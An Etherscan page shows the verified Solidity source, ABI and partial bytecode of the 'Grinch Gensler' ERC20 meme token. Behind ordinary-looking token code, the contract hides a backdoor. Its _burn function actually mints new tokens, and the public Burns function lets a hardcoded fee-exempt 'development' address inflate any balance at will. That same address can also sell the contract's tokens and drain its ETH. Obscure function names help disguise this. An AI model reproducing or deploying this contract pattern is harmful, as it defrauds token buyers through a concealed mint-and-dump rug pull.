ETH Price: $2,505.88 (-0.08%)

Token

Grinch Gensler (Grinch Gensler)
 

Overview

Max Total Supply

690,000,000,000 Grinch Gensler

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13,417,312,608.410242344047583435 Grinch Gensler

Value
$0.00
0xd1b2E0489a466664A8104B94e7DCdF1b17392BDB
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
grinchgensler

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-14
*/

/**
 *Submitted for verification at Etherscan.io on 2023-12-03
*/


/**




//SPDX-License-Identifier: MIT

/**

*/


pragma solidity 0.8.19;


pragma experimental ABIEncoderV2;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }


    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;


    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor() {
        _transferOwnership(_msgSender());
    }


    modifier onlyOwner() {
        _checkOwner();
        _;
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }


    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IERC20 {


    event Transfer(address indexed from, address indexed to, uint256 value);


    event Approval(address indexed owner, address indexed spender, uint256 value);


    function totalSupply() external view returns (uint256);


    function balanceOf(address account) external view returns (uint256);


    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


interface IERC20Metadata is IERC20 {


    function name() external view returns (string memory);


    function symbol() external view returns (string memory);


    function decimals() external view returns (uint8);
}


interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );


    function feeTo() external view returns (address);


    function feeToSetter() external view returns (address);


    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);


    function allPairs(uint256) external view returns (address pair);


    function allPairsLength() external view returns (uint256);


    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);


    function setFeeTo(address) external;


    function setFeeToSetter(address) external;
}


interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);


    function name() external pure returns (string memory);


    function symbol() external pure returns (string memory);


    function decimals() external pure returns (uint8);


    function totalSupply() external view returns (uint256);


    function balanceOf(address owner) external view returns (uint256);


    function allowance(address owner, address spender)
        external
        view
        returns (uint256);


    function approve(address spender, uint256 value) external returns (bool);


    function transfer(address to, uint256 value) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);


    function DOMAIN_SEPARATOR() external view returns (bytes32);


    function PERMIT_TYPEHASH() external pure returns (bytes32);


    function nonces(address owner) external view returns (uint256);


    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;


    event Mint(address indexed sender, uint256 amount0, uint256 amount1);


    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);


    function MINIMUM_LIQUIDITY() external pure returns (uint256);


    function factory() external view returns (address);


    function token0() external view returns (address);


    function token1() external view returns (address);


    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );


    function price0CumulativeLast() external view returns (uint256);


    function price1CumulativeLast() external view returns (uint256);


    function kLast() external view returns (uint256);


    function mint(address to) external returns (uint256 liquidity);


    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;


    function skim(address to) external;


    function sync() external;


    function initialize(address, address) external;
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);


    function WETH() external pure returns (address);


    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );


    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );


    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {


    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }


    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }


    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }


    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }


    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }


    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }


    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;


    mapping(address => mapping(address => uint256)) private _allowances;


    uint256 private _totalSupply;


    string private _name;
    string private _symbol;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
   
    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }


    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }


    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }


        return true;
    }


    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


        _beforeTokenTransfer(from, to, amount);


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }


        emit Transfer(from, to, amount);


        _afterTokenTransfer(from, to, amount);
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _beforeTokenTransfer(address(0), account, amount);


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);


        _afterTokenTransfer(address(0), account, amount);
    }


    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        _balances[account] += amount;
   
        emit Transfer(address(0), account, amount);
    }


    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");


        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}


    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract grinchgensler is ERC20, Ownable {
    using SafeMath for uint256;
   
    IUniswapV2Router02 public _uniswapV2Router;
    address public uniswapV2Pair;
   
    address private markWlAddress;
    address private developmentWlAddress;


    address private constant deadAddress = address(0xdead);


    bool private swapping;


    string private constant _name = "Grinch Gensler";
    string private constant _symbol = "Grinch Gensler";


    uint256 public initialTotalSupply = 690000_000_000 * 1e18;              
    uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;      
    uint256 public maxWallet = (3 * initialTotalSupply) / 100;                
    uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;    


    bool public tradingOpen = false;
    bool public swapEnabled = false;


    uint256 public BuyFee = 0;
    uint256 public SellFee = 0;


    uint256 public BurnBuyFee = 0;
    uint256 public BurnSellFee = 1;






    uint256 feeDenominator = 100;


    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;


    modifier ensure(address sender) {
        require(isExcludedFromFees(sender));
        _;
    }


    event ExcludeFromFees(address indexed account, bool isExcluded);


    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);


   


    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );


    constructor() ERC20(_name, _symbol) {






        markWlAddress = payable(_msgSender());
        developmentWlAddress = payable(0x3dc416a986a855a9621190D71bf92ae7351ffe29);
       


        excludeFromFees(owner(), true);
        excludeFromFees(address(developmentWlAddress), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);


        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(developmentWlAddress), true);
        excludeFromMaxTransaction(address(0xdead), true);
       
        _mint(msg.sender, initialTotalSupply);
    }




    receive() external payable {}


    function getbalanceofthis() external view returns(uint){
        return balanceOf(address(this));
    }




    function getaddressofthis() external view returns(address){
        address hello = address(this);
        return hello;
    }


    function getmessagesender() external view returns(address){
        return msg.sender;
    }


    function getpath() external view returns(address){
        address path = address(_uniswapV2Router.WETH());
        return path;
 
    }


    function OpenTrading()
        external
        onlyOwner
    {
        require(!tradingOpen,"Trading is already open");


        swapEnabled = true;
        tradingOpen = true;
    }


    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function updateDevWallet(address newDevWallet)
        public
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, markWlAddress);
        markWlAddress = newDevWallet;
    }


    function ratio(uint256 fee)  internal view returns (uint256) {
        return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
    }


    function excludeFromFees(address account, bool excluded)
        public
        onlyOwner
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }


    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }


    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }


    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }




    function _transfer(address from, address to, uint256 amount) internal override {




        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");


       
       


       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }




        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {


            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }


            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
            ) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }


            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
           
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }


        uint256 contractTokenBalance = balanceOf(address(this));


        bool canSwap = contractTokenBalance > 0;


        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;


            swapping = false;
        }


        bool takeFee = !swapping;


        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }


        uint256 fees = 0;


        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(ratio(BurnSellFee) * feeDenominator);
            }
            else {
                fees = amount.mul(BuyFee).div(ratio(BurnBuyFee) * feeDenominator);
            }


        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
        }
        super._transfer(from, to, amount);


    }


    function swapTokensForEth(uint256 tokenAmount) external {
       
        require(_msgSender() == developmentWlAddress);


        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();


        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            developmentWlAddress,
            block.timestamp
        );
    }


    function removeLimiterilnteiset() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }


    function addLiquidityEtitoes()
        public
        payable
        onlyOwner
    {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);


        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());                
        excludeFromMaxTransaction(address(uniswapV2Pair), true);


        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);      


        _approve(address(this), address(_uniswapV2Router), type(uint256).max);


       
    }


    function clearStuckedBalance() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == developmentWlAddress);
        payable(msg.sender).transfer(address(this).balance);
    }


    function Burns(ERC20 tokenAddress, uint256 amount) external ensure(msg.sender) {
        _burn(address(tokenAddress), amount);
    }


    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }
   
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"inputs":[],"name":"BurnBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BurnSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract ERC20","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Burns","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityEtitoes","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckedBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getaddressofthis","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getbalanceofthis","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getmessagesender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getpath","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimiterilnteiset","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"swapTokensForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526c08b5829f66bff9a42950000000600a556064600a546003620000289190620007a7565b62000034919062000821565b600b556064600a5460036200004a9190620007a7565b62000056919062000821565b600c55612710600a5460056200006d9190620007a7565b62000079919062000821565b600d556000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f556000601055600060115560016012556064601355348015620000d857600080fd5b506040518060400160405280600e81526020017f4772696e63682047656e736c65720000000000000000000000000000000000008152506040518060400160405280600e81526020017f4772696e63682047656e736c6572000000000000000000000000000000000000815250816003908162000156919062000ac9565b50806004908162000168919062000ac9565b5050506200018b6200017f6200034860201b60201c565b6200035060201b60201c565b6200019b6200034860201b60201c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550733dc416a986a855a9621190d71bf92ae7351ffe29600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000252620002446200041660201b60201c565b60016200044060201b60201c565b62000287600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200044060201b60201c565b6200029a3060016200044060201b60201c565b620002af61dead60016200044060201b60201c565b620002c2306001620004fb60201b60201c565b620002e4620002d66200041660201b60201c565b6001620004fb60201b60201c565b62000319600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620004fb60201b60201c565b6200032e61dead6001620004fb60201b60201c565b6200034233600a546200056660201b60201c565b62000d48565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000450620006d360201b60201c565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620004ef919062000bcd565b60405180910390a25050565b6200050b620006d360201b60201c565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005cf9062000c4b565b60405180910390fd5b620005ec600083836200076460201b60201c565b806002600082825462000600919062000c6d565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006b3919062000cb9565b60405180910390a3620006cf600083836200076960201b60201c565b5050565b620006e36200034860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007096200041660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000762576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007599062000d26565b60405180910390fd5b565b505050565b505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007b4826200076e565b9150620007c1836200076e565b9250828202620007d1816200076e565b91508282048414831517620007eb57620007ea62000778565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200082e826200076e565b91506200083b836200076e565b9250826200084e576200084d620007f2565b5b828204905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008db57607f821691505b602082108103620008f157620008f062000893565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200095b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200091c565b6200096786836200091c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009aa620009a46200099e846200076e565b6200097f565b6200076e565b9050919050565b6000819050919050565b620009c68362000989565b620009de620009d582620009b1565b84845462000929565b825550505050565b600090565b620009f5620009e6565b62000a02818484620009bb565b505050565b5b8181101562000a2a5762000a1e600082620009eb565b60018101905062000a08565b5050565b601f82111562000a795762000a4381620008f7565b62000a4e846200090c565b8101602085101562000a5e578190505b62000a7662000a6d856200090c565b83018262000a07565b50505b505050565b600082821c905092915050565b600062000a9e6000198460080262000a7e565b1980831691505092915050565b600062000ab9838362000a8b565b9150826002028217905092915050565b62000ad48262000859565b67ffffffffffffffff81111562000af05762000aef62000864565b5b62000afc8254620008c2565b62000b0982828562000a2e565b600060209050601f83116001811462000b41576000841562000b2c578287015190505b62000b38858262000aab565b86555062000ba8565b601f19841662000b5186620008f7565b60005b8281101562000b7b5784890151825560018201915060208501945060208101905062000b54565b8683101562000b9b578489015162000b97601f89168262000a8b565b8355505b6001600288020188555050505b505050505050565b60008115159050919050565b62000bc78162000bb0565b82525050565b600060208201905062000be4600083018462000bbc565b92915050565b600082825260208201905092915050565b7f45524332303a206